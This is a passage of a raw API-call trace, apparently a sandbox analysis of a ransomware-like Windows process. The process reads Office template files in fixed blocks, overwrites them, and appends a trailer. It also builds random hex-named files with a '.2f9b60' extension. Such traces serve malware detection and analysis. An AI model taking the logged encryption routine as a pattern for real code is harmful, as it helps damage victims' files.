Size=0x70) returned 0x42061230 [0138.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aad0 [0138.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aad0) returned 1 [0138.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420ce530 [0138.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aad0 [0138.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab60 [0138.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ab60) returned 1 [0138.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.866] WriteFile (hFile=0x1d88, lpBuffer=0x420ce530, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3750fd60, lpOverlapped=0x0) [0170.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420ce530) returned 1 [0170.810] SetFilePointerEx (in: hFile=0x1d88, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.810] ReadFile (in: hFile=0x1d88, lpBuffer=0x420af200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3750fd60, lpOverlapped=0x0 | out: lpBuffer=0x420af200*, lpNumberOfBytesRead=0x3750fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0171.100] SetFilePointerEx (in: hFile=0x1d88, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0171.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d5f0 [0171.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e90 [0171.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8e90) returned 1 [0171.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d0c1b0 [0171.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e90 [0171.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8ef0 [0171.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8ef0) returned 1 [0171.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d5f0) returned 1 [0171.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0171.103] WriteFile (in: hFile=0x1d88, lpBuffer=0x41d0c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3750fd60, lpOverlapped=0x0 | out: lpBuffer=0x41d0c1b0*, lpNumberOfBytesWritten=0x3750fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0194.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d0c1b0) returned 1 [0194.950] SetFilePointerEx (in: hFile=0x1d88, liDistanceToMove=0x43414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.950] ReadFile (in: hFile=0x1d88, lpBuffer=0x420af200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3750fd60, lpOverlapped=0x0 | out: lpBuffer=0x420af200*, lpNumberOfBytesRead=0x3750fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0198.082] SetFilePointerEx (in: hFile=0x1d88, liDistanceToMove=0x43414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0198.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5f380 [0198.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3ef0 [0198.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3ef0) returned 1 [0198.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f79560 [0198.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3ef0 [0198.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e30 [0198.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3e30) returned 1 [0198.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf5f380) returned 1 [0198.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced16b0) returned 1 [0198.086] WriteFile (in: hFile=0x1d88, lpBuffer=0x41f79560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3750fd60, lpOverlapped=0x0 | out: lpBuffer=0x41f79560*, lpNumberOfBytesWritten=0x3750fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0210.082] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f79560) returned 1 [0210.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430e9fa0 [0210.083] SetFilePointerEx (in: hFile=0x1d88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0210.083] WriteFile (in: hFile=0x1d88, lpBuffer=0x1ceb8bc0*, nNumberOfBytesToWrite=0x15a, lpNumberOfBytesWritten=0x3750fe10, lpOverlapped=0x0 | out: lpBuffer=0x1ceb8bc0*, lpNumberOfBytesWritten=0x3750fe10*=0x15a, lpOverlapped=0x0) returned 1 [0217.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0217.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb9f60 [0217.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265e50 [0217.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265e50) returned 1 [0217.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20265e50 [0217.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264380 [0217.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267200 [0217.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267200) returned 1 [0217.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9f60) returned 1 [0217.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0217.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b8587f0 [0217.593] sprintf (in: _Dest=0x1b8587f0, _Format="%c%c" | out: _Dest="df") returned 2 [0217.593] sprintf (in: _Dest=0x1b8587f2, _Format="%c%c" | out: _Dest="81") returned 2 [0217.593] sprintf (in: _Dest=0x1b8587f4, _Format="%c%c" | out: _Dest="8c") returned 2 [0217.593] sprintf (in: _Dest=0x1b8587f6, _Format="%c%c" | out: _Dest="e3") returned 2 [0217.593] sprintf (in: _Dest=0x1b8587f8, _Format="%c%c" | out: _Dest="76") returned 2 [0217.593] sprintf (in: _Dest=0x1b8587fa, _Format="%c%c" | out: _Dest="df") returned 2 [0217.593] sprintf (in: _Dest=0x1b8587fc, _Format="%c%c" | out: _Dest="be") returned 2 [0217.593] sprintf (in: _Dest=0x1b8587fe, _Format="%c%c" | out: _Dest="3b") returned 2 [0217.593] sprintf (in: _Dest=0x1b858800, _Format="%c%c" | out: _Dest="57") returned 2 [0217.593] sprintf (in: _Dest=0x1b858802, _Format="%c%c" | out: _Dest="2d") returned 2 [0217.593] sprintf (in: _Dest=0x1b858804, _Format="%c%c" | out: _Dest="33") returned 2 [0217.593] sprintf (in: _Dest=0x1b858806, _Format="%c%c" | out: _Dest="d0") returned 2 [0217.593] sprintf (in: _Dest=0x1b858808, _Format="%c%c" | out: _Dest="d0") returned 2 [0217.593] sprintf (in: _Dest=0x1b85880a, _Format="%c%c" | out: _Dest="05") returned 2 [0217.593] sprintf (in: _Dest=0x1b85880c, _Format="%c%c" | out: _Dest="bd") returned 2 [0217.594] sprintf (in: _Dest=0x1b85880e, _Format="%c%c" | out: _Dest="c1") returned 2 [0217.594] sprintf (in: _Dest=0x1b858810, _Format="%c%c" | out: _Dest="14") returned 2 [0217.594] sprintf (in: _Dest=0x1b858812, _Format="%c%c" | out: _Dest="07") returned 2 [0217.594] sprintf (in: _Dest=0x1b858814, _Format="%c%c" | out: _Dest="23") returned 2 [0217.594] sprintf (in: _Dest=0x1b858816, _Format="%c%c" | out: _Dest="c9") returned 2 [0217.594] sprintf (in: _Dest=0x1b858818, _Format="%c%c" | out: _Dest="a6") returned 2 [0217.594] sprintf (in: _Dest=0x1b85881a, _Format="%c%c" | out: _Dest="16") returned 2 [0217.594] sprintf (in: _Dest=0x1b85881c, _Format="%c%c" | out: _Dest="19") returned 2 [0217.594] sprintf (in: _Dest=0x1b85881e, _Format="%c%c" | out: _Dest="40") returned 2 [0217.594] sprintf (in: _Dest=0x1b858820, _Format="%c%c" | out: _Dest="01") returned 2 [0217.594] sprintf (in: _Dest=0x1b858822, _Format="%c%c" | out: _Dest="49") returned 2 [0217.594] sprintf (in: _Dest=0x1b858824, _Format="%c%c" | out: _Dest="fe") returned 2 [0217.594] sprintf (in: _Dest=0x1b858826, _Format="%c%c" | out: _Dest="56") returned 2 [0217.594] sprintf (in: _Dest=0x1b858828, _Format="%c%c" | out: _Dest="6d") returned 2 [0217.594] sprintf (in: _Dest=0x1b85882a, _Format="%c%c" | out: _Dest="2c") returned 2 [0217.594] sprintf (in: _Dest=0x1b85882c, _Format="%c%c" | out: _Dest="80") returned 2 [0217.594] sprintf (in: _Dest=0x1b85882e, _Format="%c%c" | out: _Dest="83") returned 2 [0217.594] sprintf (in: _Dest=0x1b858830, _Format="%c%c" | out: _Dest="dd") returned 2 [0217.594] sprintf (in: _Dest=0x1b858832, _Format="%c%c" | out: _Dest="fe") returned 2 [0217.594] sprintf (in: _Dest=0x1b858834, _Format="%c%c" | out: _Dest="cb") returned 2 [0217.594] sprintf (in: _Dest=0x1b858836, _Format="%c%c" | out: _Dest="bc") returned 2 [0217.594] sprintf (in: _Dest=0x1b858838, _Format="%c%c" | out: _Dest="14") returned 2 [0217.594] sprintf (in: _Dest=0x1b85883a, _Format="%c%c" | out: _Dest="2d") returned 2 [0217.594] sprintf (in: _Dest=0x1b85883c, _Format="%c%c" | out: _Dest="46") returned 2 [0217.594] sprintf (in: _Dest=0x1b85883e, _Format="%c%c" | out: _Dest="4d") returned 2 [0217.594] RtlInitAnsiString (in: DestinationString=0x3750fe88, SourceString="df818ce376dfbe3b572d33d0d005bdc1140723c9a61619400149fe566d2c8083ddfecbbc142d464d" | out: DestinationString="df818ce376dfbe3b572d33d0d005bdc1140723c9a61619400149fe566d2c8083ddfecbbc142d464d") [0217.594] RtlAnsiStringToUnicodeString (in: DestinationString=0x3750fe58, SourceString="df818ce376dfbe3b572d33d0d005bdc1140723c9a61619400149fe566d2c8083ddfecbbc142d464d", AllocateDestinationString=1 | out: DestinationString="df818ce376dfbe3b572d33d0d005bdc1140723c9a61619400149fe566d2c8083ddfecbbc142d464d") returned 0x0 [0217.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce18340 [0217.595] wcscat (in: _Dest=0x1ce18290, _Source="df818ce376dfbe3b572d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\df818ce376dfbe3b572d") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\df818ce376dfbe3b572d" [0217.595] wcscat (in: _Dest=0x1ce18290, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\df818ce376dfbe3b572d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\df818ce376dfbe3b572d.2f9b60" [0217.595] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\df818ce376dfbe3b572d.2f9b60", NtPathName=0x3750fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\df818ce376dfbe3b572d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.595] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4312a160 Thread: id = 2109 os_tid = 0xac4 [0138.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx")) returned 0x20 [0138.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx", dwFileAttributes=0x20) returned 1 [0138.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ExecutiveLetter.dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\executiveletter.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d7c [0138.785] GetFileSizeEx (in: hFile=0x1d7c, lpFileSize=0x386dfc60 | out: lpFileSize=0x386dfc60*=73000) returned 1 [0138.785] SetFilePointerEx (in: hFile=0x1d7c, liDistanceToMove=0x11d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.785] ReadFile (in: hFile=0x1d7c, lpBuffer=0x386dfbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x386dfc28, lpOverlapped=0x0 | out: lpBuffer=0x386dfbe0*, lpNumberOfBytesRead=0x386dfc28*=0x4, lpOverlapped=0x0) returned 1 [0138.827] SetFilePointerEx (in: hFile=0x1d7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a860 [0138.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a9b0 [0138.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa40 [0138.828] NtQuerySystemTime (in: CurrentTime=0x386dfb20 | out: CurrentTime=0x386dfb20*=132462177440734000) returned 0x0 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x59571e4a [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x5918a4fc [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x75979d61 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x62775f15 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x3cc1a0f6 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x29d8df2f [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x3e593431 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x44ed4b14 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x65800d35 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x3c5309fa [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x64f2ac07 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x1dbc85ee [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x4ba06cd1 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x15e2fdf6 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0xa889d8f [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x3ddbf809 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x66ccc7e2 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x96b3bb4 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x78228bc8 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x4264ebb4 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x3a62ae6f [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x657392b9 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x66edc4f5 [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x2d6f47ed [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x9cc141a [0138.828] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x468e98f7 [0138.829] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x3b2eb470 [0138.829] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x2eb85907 [0138.829] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x7da51a5 [0138.829] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x49eb1665 [0138.829] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x2752e221 [0138.829] RtlRandomEx (in: Seed=0x386dfb10 | out: Seed=0x386dfb10) returned 0x68e6129d [0138.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa70 [0138.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0138.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aa40) returned 1 [0138.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a860) returned 1 [0138.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420c3100 [0138.847] SetFilePointerEx (in: hFile=0x1d7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.847] ReadFile (in: hFile=0x1d7c, lpBuffer=0x420c3100, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x386dfb80, lpOverlapped=0x0 | out: lpBuffer=0x420c3100*, lpNumberOfBytesRead=0x386dfb80*=0x3c00, lpOverlapped=0x0) returned 1 [0138.870] SetFilePointerEx (in: hFile=0x1d7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061230 [0138.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab60 [0138.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ab60) returned 1 [0138.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420d2140 [0138.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab60 [0138.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ab90 [0138.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ab90) returned 1 [0138.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061230) returned 1 [0138.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.872] WriteFile (in: hFile=0x1d7c, lpBuffer=0x420d2140*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x386dfb80, lpOverlapped=0x0 | out: lpBuffer=0x420d2140*, lpNumberOfBytesWritten=0x386dfb80*=0x3c00, lpOverlapped=0x0) returned 1 [0160.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420d2140) returned 1 [0160.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420c3100) returned 1 [0160.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d6740 [0160.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420599c0 [0160.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe600 [0160.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0e60) returned 1 [0160.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7e40 [0160.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0e60 [0160.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1610 [0160.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1610) returned 1 [0160.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe600) returned 1 [0160.722] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420599c0) returned 1 [0160.722] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b7d3a20 [0160.722] SetFilePointerEx (in: hFile=0x1d7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.722] WriteFile (in: hFile=0x1d7c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x386dfc30, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x386dfc30*=0x11a, lpOverlapped=0x0) returned 1 [0165.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0165.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff0a0 [0165.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff0a0) returned 1 [0165.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x204ff0a0 [0165.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff070 [0165.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff040 [0165.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff040) returned 1 [0165.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0165.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1cd86250 [0165.640] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="40") returned 2 [0165.640] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="49") returned 2 [0165.640] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="f7") returned 2 [0165.640] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="73") returned 2 [0165.640] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="f2") returned 2 [0165.641] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="33") returned 2 [0165.641] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="5a") returned 2 [0165.641] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="8f") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="98") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="d3") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="f0") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="fa") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="df") returned 2 [0165.641] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="9b") returned 2 [0165.641] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="20") returned 2 [0165.641] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="4d") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="0f") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="8d") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="4d") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="c1") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="a7") returned 2 [0165.641] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="6e") returned 2 [0165.641] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="a7") returned 2 [0165.641] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="9a") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="8f") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="ec") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="40") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="eb") returned 2 [0165.641] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="5a") returned 2 [0165.642] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="1e") returned 2 [0165.642] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="9e") returned 2 [0165.642] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="63") returned 2 [0165.642] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="60") returned 2 [0165.642] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="2b") returned 2 [0165.642] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="b2") returned 2 [0165.642] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="a6") returned 2 [0165.642] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="ca") returned 2 [0165.642] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="26") returned 2 [0165.642] sprintf (in: _Dest=0x1cd8629c, _Format="%c%c" | out: _Dest="33") returned 2 [0165.642] sprintf (in: _Dest=0x1cd8629e, _Format="%c%c" | out: _Dest="46") returned 2 [0165.642] RtlInitAnsiString (in: DestinationString=0x386dfca8, SourceString="4049f773f2335a8f98d3f0fadf9b204d0f8d4dc1a76ea79a8fec40eb5a1e9e63602bb2a6ca263346" | out: DestinationString="4049f773f2335a8f98d3f0fadf9b204d0f8d4dc1a76ea79a8fec40eb5a1e9e63602bb2a6ca263346") [0165.642] RtlAnsiStringToUnicodeString (in: DestinationString=0x386dfc78, SourceString="4049f773f2335a8f98d3f0fadf9b204d0f8d4dc1a76ea79a8fec40eb5a1e9e63602bb2a6ca263346", AllocateDestinationString=1 | out: 